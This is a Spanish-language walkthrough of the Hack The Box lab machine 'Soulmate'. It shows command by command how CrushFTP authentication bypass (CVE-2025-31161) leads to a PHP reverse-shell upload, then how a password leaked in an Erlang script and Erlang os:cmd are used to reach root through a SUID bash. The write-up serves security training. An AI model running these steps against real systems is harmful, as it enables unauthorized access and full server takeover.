Descripción

Soulmate es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Descubrimiento de subdominios para encontrar una instancia de CrushFTP
  • Evitar autenticación de CrushFTP
  • CrushFTP permite la subida de archivos en el servidor web lo que lleva a la Ejecución de Comando Remoto
  • El script de configuración de Erlang lleva a la pivote de usuario debido a credenciales filtradas
  • Escalada de privilegios mediante un demonio de Erlang (EPMD) que se ejecuta como el usuario root

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.129.94.109.

$ ping -c 3 10.129.94.109
PING 10.129.94.109 (10.129.94.109) 56(84) bytes of data.
64 bytes from 10.129.94.109: icmp_seq=1 ttl=63 time=124 ms
64 bytes from 10.129.94.109: icmp_seq=2 ttl=63 time=66.0 ms
64 bytes from 10.129.94.109: icmp_seq=3 ttl=63 time=62.0 ms

--- 10.129.94.109 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 62.024/83.965/123.857/28.254 ms

La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.

$ sudo nmap 10.129.94.109 -sS -Pn -oN nmap_scan
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.94.109
Host is up (0.059s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 7.42 seconds

Obtenemos dos puertos abiertos, 22 y 80.

Enumeración

Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.

$ nmap 10.129.94.109 -Pn -sV -sC -p22,80 -oN nmap_scan_ports  
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.94.109
Host is up (0.049s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soulmate.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.30 seconds

Obtenemos el servicio SSH y el servicio HTTP. Añadimos el dominio soulmate.htb al archivo /etc/hosts.

$ echo "10.129.94.109 soulmate.htb" | sudo tee -a /etc/hosts

Pasando al servicio HTTP, encontramos una página de citas en la que podemos registrarnos y luego iniciar sesión. No podemos encontrar una vulnerabilidad en esta aplicación web, por lo que pasamos a la enumeración de subdominios.

$ gobuster vhost -u soulmate.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt --append-domain -o vhost_enumeration -r -t 50
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://soulmate.htb
[+] Method:          GET
[+] Threads:         50
[+] Wordlist:        /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
[+] User Agent:      gobuster/3.6
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: ftp.soulmate.htb Status: 200 [Size: 21438]

Encontramos el subdominio ftp, lo agregamos a nuestro archivo /etc/hosts.

$ echo "10.129.94.109 ftp.soulmate.htb" | sudo tee -a /etc/hosts

La aplicación web de este subdominio es CrushFTP, una aplicación de transferencia de archivos en línea. Tenemos un cuadro de inicio de sesión.

Explotación

CrushFTP antes de 10.8.4 y 11.3.1 permite acceso a puertos HTTP(S) no autenticado y toma de control administrativo completo, CVE-2025-31161. Tenemos un ejemplo de pruebas de la vulnerabilidad en Exploit-DB creado por ibrahimsql. Podemos simplemente clonar el script de vulnerabilidad y luego verificar la vulnerabilidad.

$ searchsploit -m 52295
$ python 52295.py --target ftp.soulmate.htb --port 80 --check
Scanning 1 targets with 10 threads...
Scanning targets... ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% (1/1) 0:00:00

Scan complete! Found 0 vulnerable targets.

Summary:
Total targets: 1
Vulnerable targets: 0
Exploited targets: 0

El script menciona que no se ha encontrado ningún equipo vulnerable, por lo que decidimos ignorar ese resultado y ejecutar la explotación para crear un nuevo usuario administrador llamado newadmin con contraseña Password1234.

$ python 52295.py --target ftp.soulmate.htb --port 80 --exploit --new-user newadmin --password Password1234
Exploiting 1 targets with 10 threads...
[+] Successfully created user newadmin on ftp.soulmate.htb
Exploiting targets... ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% (1/1) 0:00:00

Exploitation complete! Successfully exploited 1/1 targets.

Exploited Targets:
→ ftp.soulmate.htb

Summary:
Total targets: 1
Vulnerable targets: 0
Exploited targets: 1

Se ha encontrado que la explotación ha funcionado, verificamos que podemos conectarnos al servidor como administrador. No se encuentran archivos debido a políticas en la aplicación. Vamos a agregar carpetas al ir al panel de administrador con el botón Admin, luego User Manager. Hacemos clic en nuestro nombre de usuario, newadmin y movemos todas las carpetas de Server's Files a User's Stuff. También hacemos clic en la opción Upload. Finalmente hacemos clic en el botón Save. Encontramos que dentro de la carpeta app, hay muchas carpetas relacionadas con la aplicación CrushFTP, pero encontramos una interesante, webProd, entramos en ella. Encontramos varios archivos .php, relacionados con el sitio web de citas que vimos anteriormente. Si este es el directorio raíz del servidor de la web de citas, subiendo un archivo .php con una carga útil de terminal inversa podemos obtener la terminal. Obtenemos el archivo e iniciamos un puerto TCP de escucha.

$ cp /usr/share/webshells/php/php-reverse-shell.php .
$ nc -nvlp 1234

Subimos el archivo haciendo clic en la opción Add files. Seleccionamos el archivo y luego hacemos clic en el botón Upload. Ahora podemos desencadenar la terminal inversa mediante una solicitud HTTP al archivo .php que subimos.

$ curl http://soulmate.htb/php-reverse-shell.php

Recibimos un terminal inversa como el usuario www-data. Actualizamos la consola.

$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.24] from (UNKNOWN) [10.129.94.109] 44352
Linux soulmate 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
 10:54:08 up 12:23,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
ben      pts/1    10.10.14.24      10:05   29:20   0.15s  0.02s ssh ben@127.0.0.1 -p 2222
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@soulmate:/$ ^Z
$ stty raw -echo; fg
$ reset xterm
www-data@soulmate:/$ export SHELL=bash; export TERM=xterm; stty rows 48 columns 156

Post-Explotación

Encontramos otro usuario con permisos de terminal en el sistema, además de root y ben.

www-data@soulmate:/$ grep sh /etc/passwd
root:x:0:0:root:/root:/bin/bash
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
ben:x:1000:1000:,,,:/home/ben:/bin/bash

Al verificar los procesos en ejecución del sistema, encontramos uno interesante, erlang.

www-data@soulmate:/$ ps -efww
...
root        1108       1  0 09:46 ?        00:00:01 /usr/local/lib/erlang_login/start.escript -B -- -root /usr/local/lib/erlang -bindir /usr/local/lib/erlang/erts-15.2.5/bin -progname erl -- -home /root -- -noshell -boot no_dot_erlang -sname ssh_runner -run escript start -- -- -kernel inet_dist_use_interface {127,0,0,1} -- -extra /usr/local/lib/erlang_login/start.escript

Erlang es un lenguaje de programación funcional y concurrente con tiempo de ejecución diseñado para crear sistemas distribuidos escalables y tolerantes a fallas. Encontramos que está ejecutando un script con permisos root, /usr/local/lib/erlang_login/start.escript. Leemos el script.

www-data@soulmate:/$ cat /usr/local/lib/erlang_login/start.escript
#!/usr/bin/env escript
%%! -sname ssh_runner

main(_) ->
    application:start(asn1),
    application:start(crypto),
    application:start(public_key),
    application:start(ssh),

    io:format("Starting SSH daemon with logging...~n"),

    case ssh:daemon(2222, [
        {ip, {127,0,0,1}},
        {system_dir, "/etc/ssh"},

        {user_dir_fun, fun(User) ->
            Dir = filename:join("/home", User),
            io:format("Resolving user_dir for ~p: ~s/.ssh~n", [User, Dir]),
            filename:join(Dir, ".ssh")
        end},

        {connectfun, fun(User, PeerAddr, Method) ->
            io:format("Auth success for user: ~p from ~p via ~p~n",
                      [User, PeerAddr, Method]),
            true
        end},

        {failfun, fun(User, PeerAddr, Reason) ->
            io:format("Auth failed for user: ~p from ~p, reason: ~p~n",
                      [User, PeerAddr, Reason]),
            true
        end},

        {auth_methods, "publickey,password"},

        {user_passwords, [{"ben", "HouseH0ldings998"}]},
        {idle_time, infinity},
        {max_channels, 10},
        {max_sessions, 10},
        {parallel_login, true}
    ]) of
        {ok, _Pid} ->
            io:format("SSH daemon running on port 2222. Press Ctrl+C to exit.~n");
        {error, Reason} ->
            io:format("Failed to start SSH daemon: ~p~n", [Reason])
    end,

    receive
        stop -> ok
    end.

Encontramos que está ejecutando un demonio de Erlang en una terminal detrás de un proxy SSH corriendo en el puerto 2222 de localhost. Encontramos las credenciales del usuario ben, con contraseña HouseH0ldings998. Nos movemos a él.

$ ssh ben@soulmate.htb
ben@soulmate.htb's password: 
ben@soulmate:~$ id
uid=1000(ben) gid=1000(ben) groups=1000(ben)

Verificamos que podemos simplemente lanzar la terminal de Erlang mediante la conexión al servidor SSH en el puerto 2222 con las credenciales previas. Encontramos el trabajo ejecutándose ssh_runner.

ben@soulmate:~$ ssh ben@127.0.0.1 -p 2222
The authenticity of host '[127.0.0.1]:2222 ([127.0.0.1]:2222)' can't be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[127.0.0.1]:2222' (ED25519) to the list of known hosts.
ben@127.0.0.1's password: 
Eshell V15.2.5 (press Ctrl+G to abort, type help(). for help)
(ssh_runner@soulmate)1> 

La distribución de Erlang permite RCE, como podemos ver en este artículo, con el comando os:cmd. Vamos a comprobarlo.

(ssh_runner@soulmate)1> os:cmd('id').
"uid=0(root) gid=0(root) groups=0(root)\n"

Encontramos que podemos ejecutar comandos como el usuario root. Vamos a utilizar eso para crear un archivo Bash SUID, salir de la sesión SSH y luego crear una sesión Bash con privilegios de root.

(ssh_runner@soulmate)2> os:cmd('cp /bin/bash /tmp/suid-bash; chmod u+s /tmp/suid-bash').
[]
(ssh_runner@soulmate)3> q().
ok
Connection to 127.0.0.1 closed.
ben@soulmate:~$ /tmp/suid-bash -p
suid-bash-5.1# id
uid=1000(ben) gid=1000(ben) euid=0(root) groups=1000(ben)

Flags

En la consola de root podemos obtener las flags user y root.

suid-bash-5.1# cat /home/ben/user.txt 
<REDACTED>
suid-bash-5.1# cat /root/root.txt 
<REDACTED>